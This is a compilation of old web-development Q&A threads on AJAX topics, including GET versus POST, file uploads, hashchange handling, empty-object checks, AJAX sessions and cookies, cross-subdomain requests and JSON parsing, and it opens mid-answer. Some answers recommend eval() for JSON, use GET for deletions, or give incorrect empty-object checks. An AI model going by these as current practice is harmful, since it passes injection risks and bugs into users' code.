Yikes. When I started answering this question I didn't mean to write this much but I got carried away a little bit. You're still missing an initial request to get all the votes when the page is first loaded and such, but I'll leave that as an exercise to the reader. Anyhow, if you are in fact using Django and are interested in a more tested/real implemention of the Stackoverflow voting, I suggest you check out the source code for cnprog.com, a Chinese clone of Stackoverflow written in Python/Django. They released their code and it is pretty decent.
A couple of points no one has mentioned:
src="http://stackoverflow.com/question_555/vote/up/answer_3/".You create the buttons, which can be links or images or whatever. Now hook a JavaScript function up to each button's click event. On clicking, the function fires and
UPDATE posts SET score=score+1 WHERE score_id={{insert id here}};.You can store the code in a variable, but this is complicated and depends on how well you know the semantics of your code's runtime environment. It eventually needs to be pushed to persistent storage anyway, so using the database 100% is a good initial solution. When the time for optimizing performance comes, there are enough software in the world to cache database queries to make you feel woozy so it's not that big a deal.
I thnk the answers for these questions are to long for stackoverflow.
I'd recommend storing the votes in a Database.
You don't mention a server-side programming language.
please give us some more information
This might help you get started
What is the between GET and POST for Ajax requests?
I don't see any difference between those two, except that when I use GET, the parameters are send in URL, which for me don't really make any difference, since all requests are made on background and user doesn't find any difference.
edit: What are PUT and DELETE methods used for?
GET is designed for getting data from the server. POST (and lesser-known friends PUT and DELETE) are designed for modifying data on the server.
A GET request should never cause data to be removed from an application. If you have a link you can click on with a GET to remove data, then Google spidering your site could click on all your "Delete" links.
The canonical answer can be found here, which quotes the HTML 2.0 spec:
If the processing of a form is idempotent (i.e. it has no lasting observable effect on the state of the world), then the form method should be GET. Many database searches have no visible side-effects and make ideal applications of query forms.
If the service associated with the processing of a form has side effects (for example, modification of a database or subscription to a service), the method should be POST.
In your AJAX call, you need to use whatever method your server supports. You should always design your server so that operations that modify data are called by POST/PUT/DELETE. Other comments have links to REST, which generally maps C/R/U/D to POST or PUT/GET/PUT/DELETE.
Whether its AJAX or not is irrelevant. Its about the action that you're taking. I'd recommend following the principles of REST. Which have further provisions for updating, deleting, etc...
If you're sending large amounts of data, or sensitive data over HTTPS, you will want to use POST. If it's just a simple parameter, I would use GET.
GET requests have a limit to the amount of data that can be sent. I forget the exact number, but this can cause issues if you're sending anything substantial.
Basically the difference between GET and POST is that in a GET request, the parameters are passed in the URL where as in a POST, the parameters are included in the message body.
Many web servers limit the length of the data that can be passed as part of the URL, so the GET request may break in odd ways that are hard to debug.
Also, most server software logs URLs in the access logs, so if you pass sensitive information (such as passwords) in a GET request, this will in all likelihood be written to disk in plaintext.
From a REST perspective, GET requests should have no side-effects -- they shouldn't modify data. So, if you're just GETting a resource by ID, this makes sense, but if you're committing changes to a resource, you should be using PUT, POST, or UPDATE for the http verb.
About me, i prefer POST. I reserve get to the events i know the sent value is limited to data i have the "control", for example, to retreive an item with an id. Example, "getitem?id=123", "deleteImtem?id=123", ... For the other cases, when i have a form fillable by a user, i prefer POST.
Like Ryan Smith have said, it's better to use POST to send a large amount of data, and less wories in cases of the use in others language/special chars (generally all majors javascript framework should'nt have any problems to deal with that but i think is less wories to use POST).
For the REST perspective, in my opinion, you can use this with a new project (to keep a consistency with the entire project).
Finally, maybee some programs used in a network (URL loguers (ie.: to see if the employees lost their time on non-autorised sites, ...) proxys, ... ) or any other kind of tool can intercept the query. Somes will show in the reports the params you have sent with GET, considering it like a different web page. But in this situation, is could be not your problem it's changes from a project to an other! ;)
GET requests are easier to exploit in CSRF (cross site request forgery) attacks. Namely fake POST requests require Javascript to be enabled on the user side, while fake GET requests are still possible just with img, script tags.
just try to adhere to this principle http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_example:_the_World_Wide_Web
If you are passing on any arguments with characters that can get messed up in the URL (such as spaces), you use POST. Otherwise you can use GET.
Generally, if you're just passing on a few tiny arguments you would use GET. But for passing on user submitted information such as blog entries, text, etc, its a good practice to use POST.
There are also certain frameworks that rely completely on segment based urls (such as site.com/products/133 rather than site.com/products.php?id=333 and these frameworks unset the GET variables for security. In such cases you would use POST allt the time.
The difference is the same between GET and POST whether you're using Ajax, HTML forms, or curl. Here are the relevant definitions:
I would like to upload files just like google mail does. I would want to use jQuery and PHP to do it is there anyway of getting the progressbar etc.?
Here I added a video of how google does it. http://dl.getdropbox.com/u/5910/Jing/2009-04-02_1948.swf
No flash, no perl or cgi please..
I guess I can live without the progressbar now I am actually searching for information about jquery plugins or just what things I would need to look at
It is weird that people say that gmail doesn't use flash, when you can plainly see the swf file in the gmail interface. Try right clicking on "Attach a file". It is what allows the multiple uploads at once among other things.
The easiest would be to use SWFUpload, it's a small button written in Flash, with all the hooks to drive it in JS. Very easy to use and works well with PHP
but, if you really want it to be pure JS, you'll need some help from the server. specifically, you'll need to start the upload, and periodically query the server about how's it going. unfortunately, PHP upload handling doesn't get any notification until after the download finishes. you'd have to replace it with something else. there are a few pure JS uploaders that include sample Perl server code just because of that.
IOW: JS and PHP don't (fully) cut it. either add flash to the client, or a better upload handler at the server.
PHP doesn't support reporting of upload progress directly. So there is no way of reading the upload status back. However, there is a patch that might work. I haven't tried though.
Uploadify is another swf (sorry) upload button that uses jquery. Same idea as what Javier mentioned.
GMail uses Flash to upload the file in the background. SWFUpload is an open source project that foes something similar.
...gmail uses an iFrame that has style display:hidden; then when you upload on the form, it then sends the iFrame to the upload url. There is no flash involved at all. The only thing Google does with flash on Gmail is just making noises for chats. And you have to allow that in settings. They don't really use flash too much just because it is pretty bad as far as memory and cpu usage. Javascript can do anything flash can do (albiet with a lot more code in some cases) but Javascript, in 99% of cases is much faster, and better memory-wise.
SWFUpload is gud and compatible with all type of web applications
in my opinion an excellent article on this topic: http://robertnyman.com/html5/fileapi-upload/fileapi-upload.html
unfortunately support is lacking for IE and Opera, but hopefully this will change.
Maybe you could use PlUpload. It has support for a lot of types and is highly customizable. You can check out the demos on the website. On the homepage it also shows what it supports on the homepage and has a fallback mechanism.
Edit: It is available as a jQuery plugin.
It'd be interesting to know who serves JSONP. If you know of a site that does (well-known applications are preferred (e.g., GMail, Facebook, Adsense)), please add it as an answer along with a reference.
There are a number of sites which serve up JSONP. To the uninitiated, JSONP is just a JSON response wrapped in a callback. This way the JSON response can be loaded in a script tag to avoid same origin policy restrictions.
A short list of APIs which support a JSON wrapped in a javascript callback are as follows. There are likely more.
Application making use of JSONP are listed in Wikipedia at http://en.wikipedia.org/wiki/JSON#JSONP
I have an asp button. It's server-side so I can only show it for logged in users, but i want it to run a javascript function and it seems when it's runat="server" it always calls the postback event.
I also have a regular button (<input...>) not running at server and it works fine...
How can I make this button only run the javascript and not postback?
Have your javascript return false when it's done.
<asp:button runat="server".... OnClientClick="myfunction(); return false;" />
You need to return false from your function.
Set the OnClientClick property to return false or have your javascript function do it.
YourButton.Attributes.Add("onclick", return false");
or
<asp:button runat="server" ... OnClientClick="return false" />
You don't say which version of the .NET framework you are using.
If you are using v2.0 or greater you could use the OnClientClick property to execute a Javascript function when the button's onclick event is raised.
All you have to do to prevent a server postback occuring is return false from the called JavaScript function.
The others are right that you need your callback to return false; however I'd like to add that doing it by setting the onclick is an ugly old way of doing things. I'd recommend reading about unobtrusive javascript. Using a framework like jQuery could make your life easier, and the HTML less coupled to your javascript (and jQuery's supported by Microsoft now!)
Either use the "return false" approach mentioned by others, or add the runat="server" attribute to your normal button:
<input type="button" runat="server" id="htmlButton" ...>
Then you can set the HTML button's visibility property in the codebehind, e.g:
htmlButton.Visible = isLoggedIn;
This works fine:
<asp:Button CssClass="button" runat="server" ID="btnClear" OnClientClick="clearinputs();return false;"/>
Consider this.
<script type="text/javascript">
Sys.WebForms.PageRequestManager.getInstance().add_beginRequest(BeginRequest);
function BeginRequest(sender, e) {
e.get_postBackElement().disabled = true;
}
</script>
I am using Ajax and hash for navigation. Is there a way to check if the window.location.hash changed like this?
http://example.com/blah#123 to http://example.com/blah#456
It works if I check it when the document loads. But if I have #hash based navigation it doesn't work when I press the back button on the browser (so I jump from blah#456 to blah#123). It shows inside the address box, but I can't catch it with JavaScript.
The only way to really do this (and is how the 'reallysimplehistory' does this), is by setting an interval that keeps checking the current hash, and comparing it against what it was before, we do this and let subscribers subscribe to a changed event that we fire if the hash changes.. its not perfect but browsers really don't support this event natively.
Update to keep this answer fresh:
If you are using jQuery (which today should be somewhat foundational for most) then a nice solution is to use the abstraction that jQuery gives you by using its events system to listen to hashchange events on the window object.
$(window).bind('hashchange', function() {
.. work ..
});
The nice thing here is you can write code that doesn't need to even worry about hashchange support, however you DO need to do some magic, in form of a somewhat lesser known jQuery feature jQuery special events.
With this feature you essentially get to run some setup code for any event, the first time somebody attempts to use the event in any way (such as binding to the event).
In this setup code you can check for native browser support and if the browser doesn't natively implement this, you can setup a single timer to poll for changes, and trigger the jQuery event.
This completely unbinds your code from needing to understand this support problem, the implementation of a special event of this kind is trivial (to get a simple 98% working version), but why do that when somebody else has already.
As a side note, the current HTML5 draft specifies a hashchange event, which IE8 is the only browser to currently support.
Firefox has had an onhashchange event since 3.6. See window.onhashchange.
A decent implementation can be found at http://code.google.com/p/reallysimplehistory/. The only (but also) problem and bug it has is: in Internet Explorer modifying the location hash manually will reset the entire history stack (this is a browser issue and it cannot be solved).
Note, Internet Explorer 8 does have support for the "hashchange" event, and since it is becoming part of HTML5 you may expect other browsers to catch up.
There are a lot of tricks to deal with History and window.location.hash in IE browsers:
As original question said, if you go from page a.html#b to a.html#c, and then hit the back button, the browser doesn't know that page has changed. Let me say it with an example: window.location.href will be 'a.html#c', no matter if you are in a.html#b or a.html#c.
Actually, a.html#b and a.html#c are stored in history only if elements '<a name="#b">' and '<a name="#c">' exists previously in the page.
However, if you put an iframe inside a page, navigate from a.html#b to a.html#c in that iframe and then hit the back button, iframe.contentWindow.document.location.href changes as expected.
If you use 'document.domain=something' in your code, then you can't access to iframe.contentWindow.document.open()' (and many History Managers does that)
I know this isn't a real response, but maybe IE-History notes are useful to somebody.
Ben Alman has a great jQuery plugin for dealing with this: http://benalman.com/projects/jquery-hashchange-plugin/
If you're not using jQuery it may be an interesting reference to dissect.
You could easily implement an observer (the "watch" method) on the "hash" property of "window.location" object.
Firefox has its own implementation for watching changes of object, but if you use some other implementation (such as Watch for object properties changes in JavaScript) - for other browsers, that will do the trick.
The code will look like this:
window.location.watch(
'hash',
function(id,oldVal,newVal){
console.log("the window's hash value has changed from "+oldval+" to "+newVal);
}
);
Then you can test it:
var myHashLink = "home";
window.location = window.location + "#" + myHashLink;
And of course that will trigger your observer function.
Here's an implementation of meandmycode's suggestion.
Another great implementation is jQuery History which will use the native onhashchange event if it is supported by the browser, if not it will use an iframe or interval appropriatly for the browser to ensure all the expected functionality is successfully emulated. It also provides a nice interface to bind to certain states.
Another project worth noting as well is jQuery Ajaxy which is pretty much an extension for jQuery History to add ajax to the mix. As when you start using ajax with hashes it get's quite complicated!
var page_url = 'http://www.yoursite.com/'; // full path leading up to hash;
var current_url_w_hash = page_url + window.location.hash; // now you might have something like: http://www.yoursite.com/#123
function TrackHash() {
if (document.location != page_url + current_url_w_hash) {
window.location = document.location;
}
return false;
}
var RunTabs = setInterval('TrackHash()', 200);
That's it... now, anytime you hit your back or forward buttons, the page will reload as per the new hash value.
Note that in case of IE 7 and IE 9 if statment will give true for ("onhashchange" in windows) but the window.onhashchange will never fire, so its better to store hash and check it after every 100 millisecond whether its changed or not for all versions of IE.
if (("onhashchange" in window) && !($.browser.msie)) {
window.onhashchange = function () {
alert(window.location.hash);
}
// Or $(window).bind( 'hashchange',function(e) {
// alert(window.location.hash);
// });
}
else {
var prevHash = window.location.hash;
window.setInterval(function () {
if (window.location.hash != prevHash) {
storedHash = window.location.hash;
alert(window.location.hash);
}
}, 100);
}
I used a jQuery plugin, HUtil, and wrote a YUI History like interface on top of it.
Check it out once. If you need help I can help.
After an AJAX request, sometimes my application may return an empty object, like:
var a = ({});
How can I check whether that's the case?
There's no easy way to do this. You'll have to loop over the properties explicitly:
function isEmpty(obj) {
for(var prop in obj) {
if(obj.hasOwnProperty(prop))
return false;
}
return true;
}
For those of you who have the same problem but uses jQuery, you can use jQuery.isEmptyObject.
1) Just a workaround. Can your server generate some special property in case of no data? For example:
var a = {empty:true};
Then you can easily check it in your AJAX callback code.
2) Another way to check it:
if (a.toSource() === "({})") // then `a` is empty
EDIT: If you use any JSON library (f.e. JSON.js) then you may try JSON.encode() function and test the result against empty value string.
var isEmpty = function(obj) {
return Object.keys(obj).length === 0;
}
In addition to Thevs answer:
var o = {};
alert($.toJSON(o)=='{}'); // true
var o = {a:1};
alert($.toJSON(o)=='{}'); // false
it's jquery + jquery.json
You can use Underscore.js.
_.isEmpty({}); // true
function isEmpty(obj) {
for(var i in obj) { return false; }
return true;
}
you must be binding this json to some dom element inspite of checking json best way is to make the the binding function handle such data
it's very simple
if is json, i always contains '{}'
so you should write :
"data" is string Json as : {'name':'phucvh', 'age':'21'}
if (data.charAt(0) == '{')
{
alert('is Json');
}
jQuery have special function isEmptyObject() for this case:
jQuery.isEmptyObject({}) // true
jQuery.isEmptyObject({ foo: "bar" }) // false
Read more on http://api.jquery.com/jQuery.isEmptyObject/
Caveat! Beware of JSON's limitiations.
javascript:
obj={ f:function(){} };
alert( "Beware!! obj is NOT empty!\n\nobj = { f:function(){} }" +
"\n\nJSON.stringify( obj )\n\nreturns\n\n" +
JSON.stringify( obj ) );
displays
Go with the jQuery.isEmptyObject.
But if you don't have jQuery and want a quick check I found == '' works for checking empty objects as well.
if (myObject == '') {
alert('this object is empty');
}
My take:
function isEmpty(obj) {
return !Object.keys(obj).length > 0;
}
var a = {a:1, b:2}
var b = {}
console.log(isEmpty(a)); // false
console.log(isEmpty(b)); // true
Just, I don't think all browsers implement Object.keys() currently.
I have an easy(but not generic) solution for this scenario :
if you know a specific property name for your object , then you can easily check if that property exists. This way you would know if that object is empty or not , and you wouldn't need to traverse all the properties or use a library.
Let me give an example : there is an object that , if its not empty, must have a property named "myProperty". Then you can check it like :
if(myObject['myProperty']){
alert("NOT EMPTY");
}else{
alert("EMPTY")
}
this is not a generic solution but it's been doing all i need actually, as most times i know what to expect in an object that i'm performing an empty check.
How about:
if (a.length != undefined) {
// a is good, go ahead
}
This works for me.
Is YUI3 ready mature enough? What are its advantages and disadvantes vs YUI
Andy,
Corwin is incorrect about files changing on the yui.yahooapis.com servers -- if you use the YUI 3 PR 2 release from our servers, those files will remain there even when subsequent releases come out.
It's true that the API will change some as we move toward beta 1 (scheduled for June) and then to GA. We will undoubtedly make changes that will require your attention and time as you upgrade. That -- and the fact that YUI 3 doesn't contain all of the functionality of YUI 2.7.0 (the current release in the 2.x codeline) -- is the primary reason to hold off right now.
You can learn more about YUI 3 and how it's different from 2.7.0 here:
http://video.yahoo.com/watch/3711767/10207432
We're using YUI 3 on the next version of Yahoo's homepage. You can read about that here:
http://yuiblog.com/blog/2008/11/11/frontpage-and-yui3/
Regards, Eric
I've been using YUI3 exclusively since the PR2 release. There has been a lot that has changed since then, but my specific application code didn't have to change too much. I have also been tracking all the major changes in YUI3 during the past months.
It's now June, and things appear to be coming close to beta 1 as I'm seeing a ton of documentation related commits. I would recommend using YUI3 over 2 if you're looking for very nice, feature-rich base JavaScript library. If you need a bunch of generic widgets, it is possible to have both YUI2 and YUI3 running together, although things will be complicated and your code will be using mixed APIs; but you may want to stick with YUI2.
YUI3 is becoming a pretty great library and framework, it has matured greatly in functionality, performance, and cohesiveness since PR2.
I'd go with YUI3.
Still, you may find some features that hasn't been ported yet to YUI3 (for example, few months ago I've needed autocomplete and, at the moment, YUI3 AC was still in beta), and in that case you may try this: https://github.com/yui/2in3 It helps you to import YUI2 dependencies while using YUI3.
YUI3 is still in flux. The code-base is going to keep changing and features or syntax you rely on now may change abruptly if you link directly to the YUI3 files on the yahoo servers. YUI2 is quite capable and would be the safer bet if you don't want to go rewriting your code to accommodate unforeseen changes.
If I had a user logged onto my site, having his id stored in $_SESSION, and from his browser he clicked a 'Save' button which would make an AJAX request to the server. Will his $_SESSION and cookies be retained in this request, and can I safely rely on the id being present in the $_SESSION?
The answer is yes:
Sessions are maintained server-side. As far as the server is concerned, there is no difference between an AJAX request and a regular page request. They are both HTTP requests, and they both contain cookie information in the header in the same way.
What you're really getting at is: are cookies sent to with the AJAX request? Assuming the AJAX request is to the same domain (or within the domain constraints of the cookie), the answer is yes. So AJAX requests back to the same server do retain the same session info (assuming the called scripts issue a session_start() as per any other PHP script wanting access to session information).
If the PHP file the AJAX requests has a session_start() the session info will be retained. (baring the requests are within the same domain)
It is very important that AJAX requests retain session. The easiest example is when you try to do an AJAX request for the admin panel, let's say. Of course that you will protect the page that you make the request to, not to accessible by others who don't have the session you get after administrator login. Makes sense?
One thing to watch out for though, particularly if you are using a framework, is to check if the application is regenerating session ids between requests - anything that depends explicitly on the session id will run into problems, although obviously the rest of the data in the session will unaffected.
If the application is regenerating session ids like this then you can end up with a situation where an ajax request in effect invalidates / replaces the session id in the requesting page.
That's what frameworks do, e.g. if you initialize session in Front Controller or boostrap script, you won't have to care about it's initalization either for page controllers or ajax controllers. PHP frameworks are not a panacea, but they do so many useful things like this!
What is the most efficient way of calling some business logic from javascript on the client side using AJAX? It looks like you can call a [WebMethod] on an aspx directly from javascript (in my case I'm using JQuery to help out) OR you can call a .asmx directly. Which call incurs less overhead? What is the best practice?
Also, what does the [ScriptService] attribute do on a class? I have never used this before on my .aspx [WebMethod] methods and everything seems to be working fine.
I'm hoping this is a purely objective question. Thanks in advance!
The ScriptService stuff in my opinion is a hidden gem in asp.net. Calls to the script service do not passback form data + viewstate, they are lean, fast JSON payloads.
Heres the best part, ASP.NET3.5's scriptmanager can do most of the work for you regarding generating a JS method for you to call and also setting up any JS classes needed.
A simple example for fetching details for a "Person", assuming Person is a C# class.
In PersonService.asmx:
namespace MyProj.Services {
[System.Web.Script.Services.ScriptService]
[System.Web.Script.Services.GenerateScriptType(typeof(Person))]
public class PersonService : System.Web.Services.WebService
{
[WebMethod, ScriptMethod(UseHttpGet = true, ResponseFormat = ResponseFormat.Json)]
public Person GetPersonDetails(int id)
{
/* return Logic here */
}
}
}
In DetailsPage.aspx
<asp:ScriptManager ID="ScriptManager1" runat="server">
<Services>
<asp:ServiceReference Path="~/Services/PersonService.asmx" />
</Services>
</asp:ScriptManager>
By using a setup like this, you won't even need the help of JQuery to call the service and get back a JS version of your C# Person class, .net does that all for you. An example of using this service from JS would be:
MyProj.Services.PersonService.GetPersonDetails(id, _onDetailsCallbackSuccess, _requestFailed, null);
_onDetailsCallbackSuccess: function(result, userContext, methodName) {
//all persons properties are now intact and available
document.getElementById('txtFirstname').value = result.Firtname;
}
Anyway, it would be more then worth looking into the ASP.NET Ajax ScriptService stuff. Even if you decide not to use it this time it's a pretty wicked feature.
Links
The way you worded your question, I believe you're considering the difference between an ASMX "ScriptService", an ASHX HttpHandler, and an ASP.NET AJAX "PageMethod" (not an actual ASPX Page).
If this is the case, they are all very similar. The ASP.NET AJAX PageMethods are, for all intents and purposes, identical to ASMX ScriptServices. They don't create an instance of the Page, so they don't incur the overhead normally associated with ASPX pages.
Unless you're talking about saturating the server with requests, you'll probably find that all three perform comparably.
If server-side overhead is all you care about, then sending a simple GET with a query string to an ASHX would probably be it. It's definitely preferable to an .ASPX, which is going to go through a page life-cycle that you don't need.
The advantage of an ASMX web method is that it's built on a standard that can be called by other technologies easily (supports discovery). With some documentation, your .ASHX will be just as easy to call, though.
When browsing through Facebook pages the header and fixed footer section remain visible between page loads AND the URL in the address bar changes accordingly. At least, that's the illusion I get.
How does Facebook achieve that technically speaking?
Refer to Mark Brittingham's answer for how to style it, although I don't think that is what you are asking here. I will give you the technical details on how it works (and why it is fairly brilliant).
Take a look at the status bar when you hover over the Profile link in the header...
http://www.facebook.com/profile.php?id=514287820&ref=profile
That is where that <a> tag is pointed to. Now look at the address bar when you click it...
http://www.facebook.com/home.php#/profile.php?id=514287820&ref=profile
Notice the "#" fragment identifier/hash? This basically proves that you haven't left the page and the previous request was made with AJAX. They are intercepting the click events on these links, and overriding the default functionality with something of their own.
To make this happen with Javascript, all you have to do is assign a click event handler to those links like so...
var header = document.getElementById('header');
var headerLinks = header.getElementsByTagName('a');
for(var i = 0, l = headerLinks.length; i < l; i++) {
headerLinks[i].onclick = function() {
var href = this.href;
//Load the AJAX page (this is a whole other topic)
loadPage(href);
//Update the address bar to make it look like you were redirected
location.hash = '#' + href;
//Unfocus the link to make it look like you were redirected
this.blur();
//Prevent the natural HTTP redirect
return false;
}
}
One fabulous benefit to this approach is that it allows the back button to be functional (with a little added trickery), which has traditionally been a painful side effect of chronic AJAX usage. I'm not 100% sure of what this trickery is, but I bet it's somehow able to detect when the browser modifies the fragment identifier (possibly by checking it every ~500 milliseconds).
As a side note, changing the hash to a value that can't be found within the DOM (via element ID) will scroll the page all the way to the top. To see what I'm talking about: you scroll down about 10 pixels from the top of Facebook, exposing half of the top menu. Click on one of the items, it will jump it back up to the top of the page as soon as the fragment identifier gets updated (without any window repaint/redraw delay).
One way to provide headers and footers that appear invariant is via CSS - here is an example of a fixed footer (notice the "position: fixed;"):
#Footer {
font-size:xx-small;
text-align:left;
width:100%;
bottom:0px;
position:fixed;
left:0px;
background-color: #CCCCCC;
border-top: 1px solid #999999;
padding:4px;
padding-right:20px;
color:#666666;
}
You'll want to make sure that you add some Margin-Bottom to your page divs (those that fill the main portion of the page) to leave room for the fixed footer (same with a header using Margin-Top).
This does not actually stay on the page but, because the positioning is so tight and invariant, it will appear as if it does unless your page loads take too long. I don't know if this is what FaceBook does but it will give you much the same effect.
Well, the way to accomplish such a thing would be through AJAX, but as far as I can see, facebook in fact doesn't do this... I just checked, and it refreshes the header like most sites...
Edit: When I first answered this, I was looking at Facebook with Google Chrome (2.0), which for whatever reason, doesn't actually do it this way-->when I click on My Profile from the homepage, it gives me this in the address bar: http://www.facebook.com/profile.php?id=1304250071&ref=profile
and therefore refreshes the whole page... Strange
With CSS absolute/fixed positioning, the div tags containing the headers and footers can be anywhere in the HTML. Like at the top!
On most current browsers there is a render delay, one quarter second for Firefox I believe, so that the page will not display partially rendered content in quick flashes and waste a lot of time drawing as network data comes in.
So what can happen is that the new page quickly returns HTML containing the styles and header and footer. This content can be rendered immediately by the browser, so when it displays the next page, it appears as if those didn't change.
If the page is generating dynamic content, a good trick is to put all the static information at the top, output that and flush the data buffer. Then do the dynamic database queries and such.
To augment Josh Stodola's answer: In my understanding the YUI Bookmark Manager does exactly this job.
I'm trying to determine the most secure method for an ajax based login form to authenticate and set a client side cookie. I've seen things about XSS attacks such as this:
http://stackoverflow.com/questions/27972/are-httponly-cookies-a-viable-option-for-an-ajax-website
and
http://www.codinghorror.com/blog/archives/001167.html
So, I guess my core questions are...
1) Is using pure ajax to set cookies secure, if so, what is the most secure method (httpOnly + SSL + encrypted values, etc.)?
2) Does a pure ajax method involve setting the cookie client side? Is this at all secure?
3) Is setting cookies this way reliable across all major browsers/OSs?
4) Would using a hidden IFrame be any more secure (calling a web page to set the cookies)?
5) If possible, does anybody have code for this (PHP is my backend)?
My goal is to set the cookies and have them available for the next call to the server without navigating away from the page.
I really want to nail down the consensus, most secure way to do this. Eventually, this code is planned to be made Open Source, so please no commercial code (or nothing that wouldn't stand up to public scrutiny)
Thanks, -Todd
The cookie needs to be generated server-side because the session binds the client to the server, and therefore the token exchange must go from server to client at some stage. It would not really be useful to generate the cookie client-side, because the client is the untrusted remote machine.
It is possible to have the cookie set during an AJAX call. To the server (and the network) an AJAX call is simply an HTTP call, and any HTTP response by the server can set a cookie. So yes, it is possible to initiate a session in response to an AJAX call, and the cookie will be stored by the client as normal.
So, you can use AJAX to do the logging in process in the same was as you could have just relied on a POST from a form on the page. The server will see them the same way, and if the server sets a cookie the browser will store it.
Basically, client-side Javascript never needs to be able to know the value of the cookie (and it is better for security if it doesn't, though this can only be achieved using the non-standard "httponly" cookie extension which not all browsers honor). Note that further HTTP calls from the client to the server, whether they are normal page requests or they are AJAX requests, will include that cookie automatically, even if it's marked httponly and the browser honors that extension. Your script does not need to be 'aware' of the cookie.
You mentioned using SSL - that prevents others from being able to read information in transit, so it's very handy for the login process to prevent plain text transmission of the password. It can also help guard against network based attacks, though it does not make you immune to everything that CSRF can throw you, and it does not at all protect you against the likes of session fixation or XSS. So I would avoid thinking of SSL as a fix all if you use it.
(see 1. I sort of combined them)
Given that the cookie is set by the server in its HTTP response headers, yes it is reliable. However, to make it cross-browser compatible you still need to ensure logging in is possible when AJAX is unavailable. This may require implementing an alternative that is seen only when there is no Javascript or if AJAX isn't available.
It would not change the security. There would be no need for it, except that I have seen hidden iframes used before to 'simulate' AJAX before - ie make asyncronous calls to the server. Basically, however you do it doesn't matter, it's the server setting the cookie, and the client will accept and return the cookie whether it does it by AJAX or not.
For the most part, whether you use AJAX or not does not affect the security all that much as all the real security happens on the server side, and to the server an AJAX call is just like a non-AJAX call: not to be trusted. Therefore you'll need to be aware of issues such as session fixation and login CSRF as well as issues affecting the session as a whole like CSRF and XSS just as much as you would if you were using no AJAX. The issues don't really change when using AJAX except, except, I guess, that you may make more mistakes with a technology if you're less familiar with it or it's more complicated.
Let's say I have the main page loaded from http://www.example.com/index.html. On that page there is js code that makes an ajax request to http://n1.example.com//echo?message=hello. When the response is received a div on the main page is updated with the response body.
Will that work on all popular browsers?
Edit:
The obvious solution is to put a proxy in front of www.example.com and n1.example.com and set it so that every request going to a subresource of http://www.example.com/n1 gets proxied to http://n1.example.com/.
Cross domain is entirely a different subject. But cross sub-domain is relatively easy.
More info here: http://www.tomhoppe.com/index.php/2008/03/cross-sub-domain-javascript-ajax-iframe-etc/
Another solution that may or may not work for you is to dynamically insert/remove script tags in your DOM that point to the target domain. This will work if the target returns json and supports a callback.
Function to handle the result:
<script type="text/javascript">
function foo(result) {
alert( result );
}
</script>
Instead of doing an AJAX request you would dynamically insert something like this:
<script type="text/javascript" src="http://n1.example.com/echo?callback=foo"></script>
Another workaround, is to direct the ajax request to a php (for example) page on your domain, and in that page make a cURL request to the subdomain.
I faced the same problem during 2 days and I found the solution, and it's elegant after googling a lot. I needed xss Ajax for some widget clients which pull datastream from tiers websites to my Rails app. here's how I did.
New idea: if you want cross subdomain (www.domain.com and sub.domain.com) and you are working on apache. things can get a lot easier. if a subdomain actually is a subdirectory in public_html (sub.domain.com = www.domain.com/sub/. so if you have ajax.domain.com/?request=subject...you can do something like this: www.domain.com/ajax/?request=subject
works like a charm for me, and no stupid hacks, proxies or difficult things to do for just a few Ajax requests!
I've never done anything with payment gateways, can anybody give me suggestions?
Well, decide on a payment gateway you want to work with. If you're just looking to learn about this online, I'd recommend going with PayPal's payment gateway. They really don't give good rates (they take a big bite out of the money you charge users), but they have a nice "sandbox" system which you can switch on and off, and it's free to develop with. This lets you run your system as if everything was "live":
So a good place to start for that would be PayPal's developer site.
Oh, don't be afraid to use some other gateway - all the ones I've used have a way to test their system before it goes live. But many of them do not allow switching back to a "fake" simulation mode after it's gone live. So adding and testing new features after you got a production system is trickier.
Payment gateways differ from country to country and they are agencies who can enable payment processing in your applications.
For example. in UK BT has it payment gateway. They call it BTBuynet . In India ICICI is one of the major payment gateway providers. You can also check out paypal.
Each of them have their own way of implementation. Usually every payment gateways have 2 modes for payment processing.
Advantages
We dont have to worry about validating or storing cards details as everything is taken care by their pay page.
Disadvantages
Since we redirect the user to a different site the look and feel of the site will be different.
Hope this gives yo some idea about payment gateways. You can also check out some related questions in the RHS.
Am I right in thinking you are situated down under? If so I am currently working on a PHP ecommerce site in Oz. We are using Payment Express http://www.paymentexpress.com/ . As other have pointed out they offer several integration options:
The client actually chose Payment express not us directly so my recommendations are based on actually coding the interface. Their specs and sample code are freely available on their website without registering.
Hope you find this helpful.
For South Africa we use Moneybookers or Setcom, for accepting most payments I suggest Paypal since its widely use there are also other payment gateways.
An ajax request returns me a standard JSON array filled with my user's inputs. The input has been sanitized, and using the eval() function, I can easily create my javascript object and update my page...
So here's the problem. No matter how hard I try to sanitize the inputs, I'd rather not use the eval() function. I've checked google for ways to use "JSON in AJAX without eval" and have ran accross a bunch of different methods...
Which one should I use? Is there a standard, proven-secure way of doing this?
json.org has a nice javascript library
simple usage:
JSON.parse('[{"some":"json"}]');
JSON.stringify([{some:'json'}]);
Edit: As pointed out in comments, this uses eval if you look through its source (although it looks to be sanitized first)
to avoid it completely, look at json_parse or json-sans-eval
json2.js is insecure, json_parse.js is slow, json-sans-eval.js is non-validating
Is there a standard, proven-secure way of doing this?
There is a proposed standard way of doing this, in the forthcoming ECMAScript 3.1 version of JavaScript: JSON.parse.
It will be supported in IE8, Firefox 3.1/3.5 and most likely the other popular browsers in the future. In the meantime, you can fall back to, or use exclusively, eval(). Evil it may or may not be; certainly it will be slower than JSON.parse. But that's the usual way to parse JSON today.
If an attacker is able to inject malcious JavaScript into content you are spitting out via JSON, you have bigger problems to worry about than eval-is-evil.
I would say, once the input is sanitized, eval is the best way to go. If your server gets compromised, people will be able to send whatever scripts they want to the client anyway. So putting an eval is not a big security risk. If you are worried about people manipulating the packets before they reach the client then, again, the scripts themselves can be modified.
Don't worry about eval. But make sure to wrap it in a try...catch block so your users don't get JS errors if your JSON gets mangled.
:)
If you don?t want to use eval(), why not use awesome() instead?
var awesome = window['evil'.replace('i', 'a')];
awesome('1 + 1'); // 2
See? Much nicer!
</sarcasm>
To safely convert JSON to a JS object you should use a JSON parser such as the JSON.parse() function provided by this library.
Check this out
http://beebole.com/en/blog/general/sandbox-your-cross-domain-jsonp-to-improve-mashup-security/
I thinks eval in this case isn't evil... Maybe you should take a look at that question:
Compare to the command design pattern: http://en.wikipedia.org/wiki/Command_pattern. Given this, you can precisely define the operations a client can execute and your application will be as safe as the underlying interpretation.
Depends on what you're trying to accomplish with the sanitation. I've had great success w/the prototype framework's support for JSON and safe evaluation.
